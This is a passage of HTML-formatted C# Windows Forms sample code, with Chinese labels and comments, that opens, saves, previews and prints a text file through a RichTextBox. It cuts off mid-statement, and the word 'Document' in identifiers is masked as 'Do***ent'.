;&nbsp;&nbsp;button1.Click&nbsp;&nbsp;+=&nbsp;&nbsp;new&nbsp;&nbsp;System.EventHandler&nbsp;&nbsp;(&nbsp;&nbsp;button1_Click&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button2.Anchor&nbsp;&nbsp;=&nbsp;&nbsp;AnchorStyles.None&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button2.Location&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Point&nbsp;&nbsp;(&nbsp;&nbsp;274&nbsp;&nbsp;,&nbsp;&nbsp;288&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button2.Name&nbsp;&nbsp;=&nbsp;&nbsp;"button2"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button2.Size&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Size&nbsp;&nbsp;(&nbsp;&nbsp;48&nbsp;&nbsp;,&nbsp;&nbsp;30&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button2.TabIndex&nbsp;&nbsp;=&nbsp;&nbsp;4&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button2.Text&nbsp;&nbsp;=&nbsp;&nbsp;"预览"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button2.Click&nbsp;&nbsp;+=&nbsp;&nbsp;new&nbsp;&nbsp;System.EventHandler&nbsp;&nbsp;(&nbsp;&nbsp;button2_Click&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button3.Anchor&nbsp;&nbsp;=&nbsp;&nbsp;AnchorStyles.None&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button3.Location&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Point&nbsp;&nbsp;(&nbsp;&nbsp;108&nbsp;&nbsp;,&nbsp;&nbsp;288&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button3.Name&nbsp;&nbsp;=&nbsp;&nbsp;"button3"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button3.Size&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Size&nbsp;&nbsp;(&nbsp;&nbsp;48&nbsp;&nbsp;,&nbsp;&nbsp;30&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button3.TabIndex&nbsp;&nbsp;=&nbsp;&nbsp;2&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button3.Text&nbsp;&nbsp;=&nbsp;&nbsp;"保存"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button3.Click&nbsp;&nbsp;+=&nbsp;&nbsp;new&nbsp;&nbsp;System.EventHandler&nbsp;&nbsp;(&nbsp;&nbsp;button3_Click&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button4.Anchor&nbsp;&nbsp;=&nbsp;&nbsp;AnchorStyles.None&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button4.Location&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Point&nbsp;&nbsp;(&nbsp;&nbsp;174&nbsp;&nbsp;,&nbsp;&nbsp;288&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button4.Name&nbsp;&nbsp;=&nbsp;&nbsp;"button4"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button4.Size&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Size&nbsp;&nbsp;(&nbsp;&nbsp;80&nbsp;&nbsp;,&nbsp;&nbsp;30&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button4.TabIndex&nbsp;&nbsp;=&nbsp;&nbsp;3&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button4.Text&nbsp;&nbsp;=&nbsp;&nbsp;"打印机设置"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button4.Click&nbsp;&nbsp;+=&nbsp;&nbsp;new&nbsp;&nbsp;System.EventHandler&nbsp;&nbsp;(&nbsp;&nbsp;button4_Click&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button5.Anchor&nbsp;&nbsp;=&nbsp;&nbsp;AnchorStyles.None&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button5.Location&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Point&nbsp;&nbsp;(&nbsp;&nbsp;345&nbsp;&nbsp;,&nbsp;&nbsp;288&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button5.Name&nbsp;&nbsp;=&nbsp;&nbsp;"button5"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button5.Size&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Size&nbsp;&nbsp;(&nbsp;&nbsp;48&nbsp;&nbsp;,&nbsp;&nbsp;30&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button5.TabIndex&nbsp;&nbsp;=&nbsp;&nbsp;5&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button5.Text&nbsp;&nbsp;=&nbsp;&nbsp;"打印"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button5.Click&nbsp;&nbsp;+=&nbsp;&nbsp;new&nbsp;&nbsp;System.EventHandler&nbsp;&nbsp;(&nbsp;&nbsp;button5_Click&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;saveFileDialog1.DefaultExt&nbsp;&nbsp;=&nbsp;&nbsp;"*.txt"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;saveFileDialog1.FileName&nbsp;&nbsp;=&nbsp;&nbsp;"file.txt"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;saveFileDialog1.InitialDirectory&nbsp;&nbsp;=&nbsp;&nbsp;"c:\\"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;saveFileDialog1.Title&nbsp;&nbsp;=&nbsp;&nbsp;"另存为！"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;openFileDialog1.DefaultExt&nbsp;&nbsp;=&nbsp;&nbsp;"*.txt"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;openFileDialog1.FileName&nbsp;&nbsp;=&nbsp;&nbsp;"file.txt"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;openFileDialog1.InitialDirectory&nbsp;&nbsp;=&nbsp;&nbsp;"c:\\"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;openFileDialog1.Title&nbsp;&nbsp;=&nbsp;&nbsp;"打开文本文件！"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;AutoScaleBaseSize&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Size&nbsp;&nbsp;(&nbsp;&nbsp;6&nbsp;&nbsp;,&nbsp;&nbsp;14&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;ClientSize&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Size&nbsp;&nbsp;(&nbsp;&nbsp;448&nbsp;&nbsp;,&nbsp;&nbsp;325&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;this.Controls.Add&nbsp;&nbsp;(&nbsp;&nbsp;button1&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;this.Controls.Add&nbsp;&nbsp;(&nbsp;&nbsp;button2&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;this.Controls.Add&nbsp;&nbsp;(&nbsp;&nbsp;button3&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;this.Controls.Add&nbsp;&nbsp;(&nbsp;&nbsp;button4&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;this.Controls.Add&nbsp;&nbsp;(&nbsp;&nbsp;button5&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;this.Controls.Add&nbsp;&nbsp;(&nbsp;&nbsp;richTextBox1&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;this.MaximizeBox&nbsp;&nbsp;=&nbsp;&nbsp;false&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;this.Name&nbsp;&nbsp;=&nbsp;&nbsp;"Form1"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;this.Text&nbsp;&nbsp;=&nbsp;&nbsp;"C＃来操作文本文件"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;this.ResumeLayout&nbsp;&nbsp;(&nbsp;&nbsp;false&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;&nbsp;void&nbsp;&nbsp;Main&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;<BR>{<BR>Application.Run&nbsp;&nbsp;(&nbsp;&nbsp;new&nbsp;&nbsp;Form1&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;void&nbsp;&nbsp;button1_Click&nbsp;&nbsp;(&nbsp;&nbsp;object&nbsp;&nbsp;sender&nbsp;&nbsp;,&nbsp;&nbsp;System.EventArgs&nbsp;&nbsp;e&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&nbsp;(&nbsp;&nbsp;openFileDialog1.ShowDialog&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;==&nbsp;&nbsp;DialogResult.OK&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileStream&nbsp;&nbsp;fs&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;FileStream&nbsp;&nbsp;(&nbsp;&nbsp;openFileDialog1.FileName&nbsp;&nbsp;&nbsp;&nbsp;,&nbsp;&nbsp;FileMode.Open&nbsp;&nbsp;,&nbsp;&nbsp;FileAccess.Read&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;StreamReader&nbsp;&nbsp;m_streamReader&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;StreamReader&nbsp;&nbsp;(&nbsp;&nbsp;fs&nbsp;&nbsp;)&nbsp;&nbsp;;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//使用StreamReader类来读取文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;m_streamReader.BaseStream.Seek&nbsp;&nbsp;(&nbsp;&nbsp;0&nbsp;&nbsp;,&nbsp;&nbsp;SeekOrigin.Begin&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;从数据流中读取每一行，直到文件的最后一行，并在richTextBox1中显示出内容<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.richTextBox1.Text&nbsp;&nbsp;=&nbsp;&nbsp;""&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;&nbsp;strLine&nbsp;&nbsp;=&nbsp;&nbsp;m_streamReader.ReadLine&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;&nbsp;(&nbsp;&nbsp;strLine&nbsp;&nbsp;!=&nbsp;&nbsp;null&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.richTextBox1.Text&nbsp;&nbsp;+=&nbsp;&nbsp;strLine&nbsp;&nbsp;+&nbsp;&nbsp;"\n"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strLine&nbsp;&nbsp;=&nbsp;&nbsp;m_streamReader.ReadLine&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//关闭此StreamReader对象<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_streamReader.Close&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;&nbsp;(&nbsp;&nbsp;Exception&nbsp;&nbsp;em&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine&nbsp;&nbsp;(&nbsp;&nbsp;em.Message.ToString&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;void&nbsp;&nbsp;button3_Click&nbsp;&nbsp;(&nbsp;&nbsp;object&nbsp;&nbsp;sender&nbsp;&nbsp;,&nbsp;&nbsp;System.EventArgs&nbsp;&nbsp;e&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;//获得另存为的文件名称<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&nbsp;(&nbsp;&nbsp;saveFileDialog1.ShowDialog&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;==&nbsp;&nbsp;DialogResult.OK&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//创建一个文件流，用以写入或者创建一个StreamWriter<BR>&nbsp;&nbsp;&nbsp;&nbsp;FileStream&nbsp;&nbsp;fs&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;FileStream&nbsp;&nbsp;(&nbsp;&nbsp;@saveFileDialog1.FileName&nbsp;&nbsp;&nbsp;&nbsp;,&nbsp;&nbsp;FileMode.OpenOrCreate&nbsp;&nbsp;,&nbsp;&nbsp;FileAccess.Write&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;StreamWriter&nbsp;&nbsp;m_streamWriter&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;StreamWriter&nbsp;&nbsp;(&nbsp;&nbsp;fs&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_streamWriter.Flush&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;使用StreamWriter来往文件中写入内容<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_streamWriter.BaseStream.Seek&nbsp;&nbsp;(&nbsp;&nbsp;0&nbsp;&nbsp;,&nbsp;&nbsp;SeekOrigin.Begin&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;把richTextBox1中的内容写入文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_streamWriter.Write&nbsp;&nbsp;(&nbsp;&nbsp;richTextBox1.Text&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//关闭此文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_streamWriter.Flush&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_streamWriter.Close&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;&nbsp;(&nbsp;&nbsp;Exception&nbsp;&nbsp;em&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine&nbsp;&nbsp;(&nbsp;&nbsp;em.Message.ToString&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;void&nbsp;&nbsp;button4_Click&nbsp;&nbsp;(&nbsp;&nbsp;object&nbsp;&nbsp;sender&nbsp;&nbsp;,&nbsp;&nbsp;System.EventArgs&nbsp;&nbsp;e&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printDialog1.Do***ent&nbsp;&nbsp;=&nbsp;&nbsp;ThePrintDo***ent&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printDialog1.ShowDialog&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;//预览打印文档<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;void&nbsp;&nbsp;button2_Click&nbsp;&nbsp;(&nbsp;&nbsp;object&nbsp;&nbsp;sender&nbsp;&nbsp;,&nbsp;&nbsp;System.EventArgs&nbsp;&nbsp;e&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;&nbsp;strText&nbsp;&nbsp;=&nbsp;&nbsp;richTextBox1.Text&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;myReader&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;StringReader&nbsp;&nbsp;(&nbsp;&nbsp;strText&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;PrintPreviewDialog&nbsp;&nbsp;printPreviewDialog1&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;PrintPreviewDialog&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;printPreviewDialog1.Do***ent&nbsp;&nbsp;=&nbsp;&nbsp;ThePrintDo***ent&nbsp;&nbsp;&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;printPreviewDialog1.FormBorderStyle&nbsp;&nbsp;=&nbsp;&nbsp;FormBorderStyle.Fixed3D&nbsp;&nbsp;&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;printPreviewDialog1.ShowDialog&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;&nbsp;(&nbsp;&nbsp;Exception&nbsp;&nbsp;exp&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine&nbsp;&nbsp;(&nbsp;&nbsp;exp.Message.ToString&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;//打印richTextBox1中的内容<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;void&nbsp;&nbsp;button5_Click&nbsp;&nbsp;(&nbsp;&nbsp;object&nbsp;&nbsp;sender&nbsp;&nbsp;,&nbsp;&nbsp;System.EventArgs&nbsp;&nbsp;e&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printDialog1.Do***ent&nbsp;&nbsp;=&nbsp;&nbsp;ThePrintDo***ent&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;&nbsp;strText&nbsp;&nbsp;=&nbsp;&nbsp;richTextBox1.Text&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myReader&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;StringReader&nbsp;&nbsp;(&nbsp;&nbsp;strText&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&nbsp;(&nbsp;&nbsp;printDialog1.ShowDialog&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;==&nbsp;&nbsp;DialogResult.OK&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;ThePrintDo***ent.Print&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;protected&nbsp;&nbsp;void&nbsp;&nbsp;ThePrintDo***ent_PrintPage&nbsp;&nbsp;(&nbsp;&nbsp;object&nbsp;&nbsp;sender&nbsp;&nbsp;,&nbsp;&nbsp;PrintPageEventArgs&nbsp;&nbsp;ev&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;float&nbsp;&nbsp;linesPerPage&nbsp;&nbsp;=&nbsp;&nbsp;0&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp